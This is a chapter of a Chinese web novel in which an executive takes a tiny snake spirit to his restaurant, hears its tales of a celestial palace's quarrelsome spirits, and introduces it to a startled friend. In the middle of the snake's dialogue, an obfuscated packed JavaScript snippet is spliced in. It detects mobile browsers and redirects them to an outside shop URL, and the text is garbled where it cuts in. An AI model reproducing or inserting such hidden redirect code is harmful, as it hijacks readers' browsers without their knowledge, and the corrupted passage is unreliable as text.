冬日渐进,日头也就断了起来,等汽车从地下车库驶出时,道路两旁已经陆续亮起了彩灯,青玉竹攀在车门上,很没出息地发出了小土包子的声音:“哇!” 乔昭把视线从平板电脑的公务上挪开,瞥了一眼他“哇”的地方——成江区的鸾凤集公园,长期置有各色彩灯。 他目光移到青色小蛇身上,见蛇妖一双蛇瞳目不转睛地盯着外边的彩灯,想了想后,示意司机改变方向。 黑色豪车从车流中离开,顺着指引开到了广场的地下停车场里。 “我们不回家吗?”青玉竹探出脑袋,看着和方才那个大同小异的停车场,有些好奇地问道。 乔昭让徐秘书和司机先离开,自己带着蛇妖上了电梯:“带你去见见世面。” “好!”青玉竹顿时开心,虽然不知道要见什么世面,但他本来对这个世界就一知半解,不论什么在他眼里都是很新鲜的风景。 而且有饲主陪着,蛇一点都不会害怕。 青玉竹雄赳赳地把半个身体都探出西装口袋,直勾勾地看着电梯里各种花里胡哨的广告。 下一秒,电梯停下,他“唰”一下缩了回去。 乔昭:“……” 他没忍住弯了弯嘴角。 结伴进入电梯的女士们迎面便收到了陌生帅哥的微笑招呼,忍不住红了红脸颊,也冲乔昭笑了一下。 乔昭:“……” “我们要去哪里见世面啊?还有多久?”蛇妖在他脑海里催,“好多人!” 在电梯里陌生女士们时不时偷偷的打量里,乔昭默默拿出一个蓝牙耳机,假装接通电话:“小蛇。” “嗯嗯!”青玉竹欢快活泼。 “在外边不要跟我说话。” “嗯嗯……嗯?” 21.倒反天罡 乔昭带青玉竹见世面的地方是他自己名下一家位于鸾凤集广场商业中心的西餐厅。 这是完全独属于他的产业,起源自大学时期的一次创业,除了钱锐,没人知道这里和他的关系。 乔昭带着蛇妖进了自己的包厢,从全景落地窗里可以清晰地看到整个鸾凤集广场的灯海。 让服务员离开后,乔昭才把缩在口袋里的小蛇拿出来放在桌上,青玉竹左右吐吐蛇信,观察了一会儿环境后飞快地蛄蛹到落地窗边,目不转睛地看着下面的风景。 “有这么好看?”乔昭见他原地看成了一根蛇棍,有些奇怪,“你难道没见过这些的景象?” 从一个普通人对修仙界的想象来说,那些术法神通的光影怎么也应该比现代的光污染强吧? 青玉竹很诚实地摇了摇头:“没有见过。” 在他的印象中,初开灵智时见到的山谷满目绿意杀机,他在药力的折磨中奄奄一息,根本没有心情观察景色。而昆仑仙境则是永恒的素白,玉白色的宫殿,玉白色的灵泉,还有白衣翩然的仙人们,除了寒月宫,昆仑仙境极少有其他的颜色。 那里也没有四季昼夜之分,昼夜只看仙君们的心情,曾经好几十年都是白天,也有好几十年都是夜晚——夜晚的时候,天空也干净清透,一轮圆月高悬,只有数颗闪烁着的星星。 他没有见过这样如同星河一样的灯海。 “那在昆仑仙境,你不会很无聊吗?”乔昭摇晃着一杯红酒,看着接入城市路网的灯海,努力想象着蛇妖描述的那副冷清画面。 “不无聊哦。”青玉竹转了转身体,看向自己的饲主,“寒月宫里有很多好玩的。” 比如仙君的月镜,可以随机观察天地间的某一个地方,结果他们不小心撞破了三仙山掌门和弟子苟且,察觉被偷窥的掌门隔空出手,碎了仙君的镜子,蠢狗大怒把这件事嚷嚷得整个修仙界都知道了,然后他们一起被仙君黑着脸关了禁闭。 又比如见多识广的鸟蝠兽,他们有鲲鹏血脉,每年都要从归墟出发,巡游天地至不周山,见过天地四方的奇事,但沧海桑田,不周山和归墟都逐渐不见了踪影,鸟蝠兽也逐渐消亡,仅剩的几只老鸟投靠了仙君,每天都给小妖怪们讲些奇奇怪怪的故事。 还有每天都在梧桐树上臭屁梳理羽毛的孔雀,尾羽如同灿烂的流光,九尾猫总想薅他的毛,一鸟一猫基本天天打架,其余妖怪就在一旁赌谁会赢,大家都不喜欢鼻孔朝天又总喜欢霸占仙君宠爱的孔雀,几乎都押九尾猫,但青玉竹不在乎,他每次都押孔雀,因为他喜欢孔雀华丽的尾羽。 孔雀每次都能打赢,然后有一天神情矜傲地在他面前丢下一根尾羽,留下一句“算你有眼光”扬长而去,青玉竹虽然莫名其妙,但很喜欢那根仿佛闪烁着星光的尾羽,可惜一觉醒来,他精心珍藏的漂亮羽毛也不见了踪影。 乔昭以手支颐,听得有些入神:“还有呢?” “没有啦!”青玉竹理直气壮,“我一般都在睡觉!” 万年灵草对一条普通蛇来说是祸非福,虽然仙君替他压制了药性,但他依然时不时陷入长时间的睡眠来消化药力。 他只有在睡醒的时候才会去找众妖一起玩耍,蠢狗带着他一般都是在寒月宫里到处闯祸,狐狸姐姐总想让他跟着一起去人间,偶尔他也会去找霸占灵泉的鲛人打架,但总也打不赢,后面他也不打了。 另外还会找一只可恶的老鼠算账。 “等等,老鼠?”乔昭差点没能绷住表情,“寒月宫里还有老鼠?” “有的,是一只丑老鼠。”青玉竹提起寒月宫总是很开心,但此时是难得的气鼓鼓,“长得超级超级无敌丑!” 而且还超凶!一见面就说要吃他! 乔昭差点以为自己听错了:“……谁吃谁?” “他要吃我!”青玉竹大声告状,“我不就是刚见面的时候,问了仙君一句他可以吃吗,结果他立刻跳出来威胁要吃掉我!” 乔昭:“……” 乔总一脸匪夷所思:“你不是蛇吗?” 这什么倒反天罡?! 青玉竹嚣张的气焰没了,把自己团了团,既不好意思又有点委屈:“可我打不过他。” 那只老鼠有上古翻天鼠的血脉,又被一个修士精心培养,跟随修士去了很多凶险的秘境,战斗经验相当丰富……但那个修士并不在意他的生死,动辄打骂,所以他杀了那个修士。 灵宠契约将他反噬得不成鼠样,他撑了很久……直到仙君将他救下,可契约反噬留下的可怕伤痕怎么也消减不掉。 想到这,青玉竹又有些做错事的愧疚:“他那个样子也不是自己愿意的……我不该骂他丑的。” 只是他作为一条蛇,被一只老鼠三招撂趴下,很丢脸的好不好! 所以他一直叫他“丑老鼠”。 乔昭:“……你这么叫他不打你?” “他打啊!”青玉竹更生气了,“反正我也打不过他,丑老鼠丑老鼠丑老鼠!” 乔昭:“……” 你真是没一顿打白挨的。 “而且他也不只打我一个,除了仙君和孔雀,他谁都打过!”骂了一通后青玉竹的心态平稳下来,继而得意洋洋,“我又不是没有治他的办法!” 比起这只丑老鼠,人畜无害的青玉竹在寒月宫内的妖缘分外好,大大小小的妖怪有什么好东西都会给他分享一点。 但他既没有修炼的资质,也没有修炼的意愿,眼见丑老鼠拼命修炼,却被众妖排挤,每月只有仙君赐下的修炼资源,他就会把自己用不上的东西赏赐给这只老鼠。 而且赏赐的态度一定会特别恶劣! 乔昭忍着笑:“他没有打你?也没有谢谢你?” “没有。”青玉竹摇摇头,非常认真,“但他会生气,他生气我就高兴了,后来他又去把鲛人打了一顿,然后他们就结仇啦,也不知道为什么。” 乔昭:“……” 已知蛇妖想要泡灵泉,但灵泉被鲛人霸占了,所以老鼠拿了蛇妖的资源,去把鲛人打了一顿,大概是想让鲛人把灵泉让出来? 结果被老鼠报恩的蛇妖根本不知道这件事……还在奇怪他为什么要跟鲛人打架。 不知道为何,乔昭竟然有些同情那只老鼠。 寒月宫里妖怪们的关系还真是奇奇怪怪又爱恨纠葛。 “咚咚。” 门被敲响了。 青色小蛇立刻躲到了桌上的花瓶后面。 乔昭刚刚听完蛇妖讲述的热热闹闹的仿佛童话一样的故事,心情由阴转晴,一边好心地把蛇妖露在外边的尾巴推进去,一边语气平和地开口:“进来。” 他本以为是侍者上菜,没想到居然是有人不请自来。 “昭哥?”钱锐从门外探出一个脑袋,“哈,果然是你啊!” 他大摇大摆地走进来,一屁股在乔昭面前坐下:“你今天怎么想起来视察产业了?” “不是,我就来吃个饭。”乔昭言简意赅,反问道,“你怎么在这里?” 钱锐坦然道:“我也来吃饭啊……主要是请的道士放了老子鸽子。” “……”乔昭一时默然,“你请道士吃西餐?” “昂。”钱锐表情自然,“他不吃素又爱吃肉,西餐不挺好的。” 乔昭:“……” 不好讲是真道士还是真骗子。 不过话说回来,钱锐积极结(被)交(骗)有一大半原因是他,这倒让乔昭有些过意不去。 而且他现在已经确认了蛇妖的危险性基本为零,当务之急是搞清楚正在寻找蛇妖的背后组织是什么。 但还没等他把后续进展和钱锐同步,钱锐抬头左右看了看,鬼鬼祟祟地先开口了:“昭哥,你家那个妖怪现在怎么样了?” 乔昭的思路一时中断,不自觉地瞥了一眼桌上的花瓶。 藏身于花瓶之后的蛇妖显然听到了钱锐鬼鬼祟祟的话,好奇地问他:“妖怪,是说我吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061631|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 青玉竹悄咪咪探出来一个小脑袋,目光炯炯地看着钱锐。 这个人居然知道蛇的事! 不知为何,乔昭油然而生了一种不详的预感。 钱锐已经噼里叭啦地说开了:“我这些天找了不少所谓的大师高僧之类的,不是骗子就是不相信,虽然也不怪他们吧,毕竟如果不是你给我看过监控,我也不相信这个世界上有妖怪,最近跟这帮打着唯物主义旗号搞社会主义玄学的人混多了,我都开始怀疑到底能不能有人斩妖除魔了……” 斩!妖!除!魔! 缩在花瓶后面的青色小蛇大惊失色,扭头快得像是要把自己扭成麻花,琥珀色的蛇瞳不可置信地看着自己的饲主。 乔昭:“……” 他头皮发麻:“停停停,关斩妖除魔什么事?” “诶?”钱锐停下话头,莫名其妙地看着他,“不是你说的吗?怎么改主意了?真被妖精迷住啦?” 乔昭语速难得加快了一点:“我什么时候说要斩妖除魔了!我的意思是先确认蛇妖有没有恶意,如果有的话在再想办法解决,不一定是非要把他怎么样,你是不是理解错了?” “啊?”钱锐一愣一愣的,“是这样吗?那我理解错了?” 乔昭非常肯定:“对,你理解错了。” 钱锐沉默不语。 钱锐开始怀疑人生。 出于对乔昭的信任,钱锐觉得确实应该是自己理解错了。 “总之,现在我能确认他没有恶意。”见蛇妖若有所思地点头,乔昭放慢了一点语速,尽量把自己现在的态度表达明确,“现在不需要对他做什么你明白吗?” 钱锐回过神,难以言喻地看了他一眼,脸上明晃晃的几个字——“你被妖精迷住了”。 乔昭视若无睹,只是看了一眼花瓶后面虎视眈眈的蛇妖。 青玉竹确认了饲主的态度,绷紧的身体缓缓放松下来,但一双蛇瞳仍然竖成一条线,用力瞪着他。 与此同时,乔昭脑海里响起一声情绪十分丰富的“哼!” 乔总不由自主地开始想一会儿要怎么忽悠蛇妖。 “那什么。”钱锐充满好奇的声音唤回了乔昭的思绪,“你说你确认蛇妖没有恶意……你怎么确认的?” 乔昭再度沉默。 怎么确认的……靠被蛇妖契约成灵宠? 这要是告诉钱锐,这家伙能笑到下辈子! “我们沟通过了。”乔昭面不改色地回答。 你别管是怎么沟通的。 “哦哦哦。”钱锐也确实没管,闻言好奇心欻欻往外冒,“那他叫啥名啊?从哪儿来的?世界上还有其他妖怪没有?哎对了,他找你干嘛来着?跟你那些不省心的兄弟姐妹有关系没?” 乔昭深深地看了他一眼。 “……好了好了,我不问了。”钱锐语气悻悻,“才问了多少,小气鬼。” 但下一秒,他又搓了搓手:“既然你确认他没有恶意,那我是不是能去你家了?” 乔昭:“……你去干嘛?” “去看那个男妖精啊!”钱锐理所当然双眼放光,“我现在见他没危险了啊,那谁能不想看大美人呢你说对吧?” 乔昭:“……” 他很想告诉钱锐现在你看不到大美人,蛇妖不知道猴年马月能化形。 但这毕竟要看蛇妖的想法。 于是他看着花瓶背后的青色小蛇,低声开口:“你想见他吗?” 顿了顿,他又道:“他是我最好的朋友,不会伤害你。” 钱锐一脸状况外的茫然:“你在说啥?你在跟我说话吗?” 青玉竹犹豫了一会儿,出于对饲主的信任,他还是点了点小脑袋:“好。” 于是乔昭伸出手,把桌上的花瓶挪开了。 钱锐莫名其妙的眼神跟随着他的动作,看到了花瓶背后的青玉色小蛇。 钱公子当即发出了一声尖锐爆鸣:“卧槽!!!”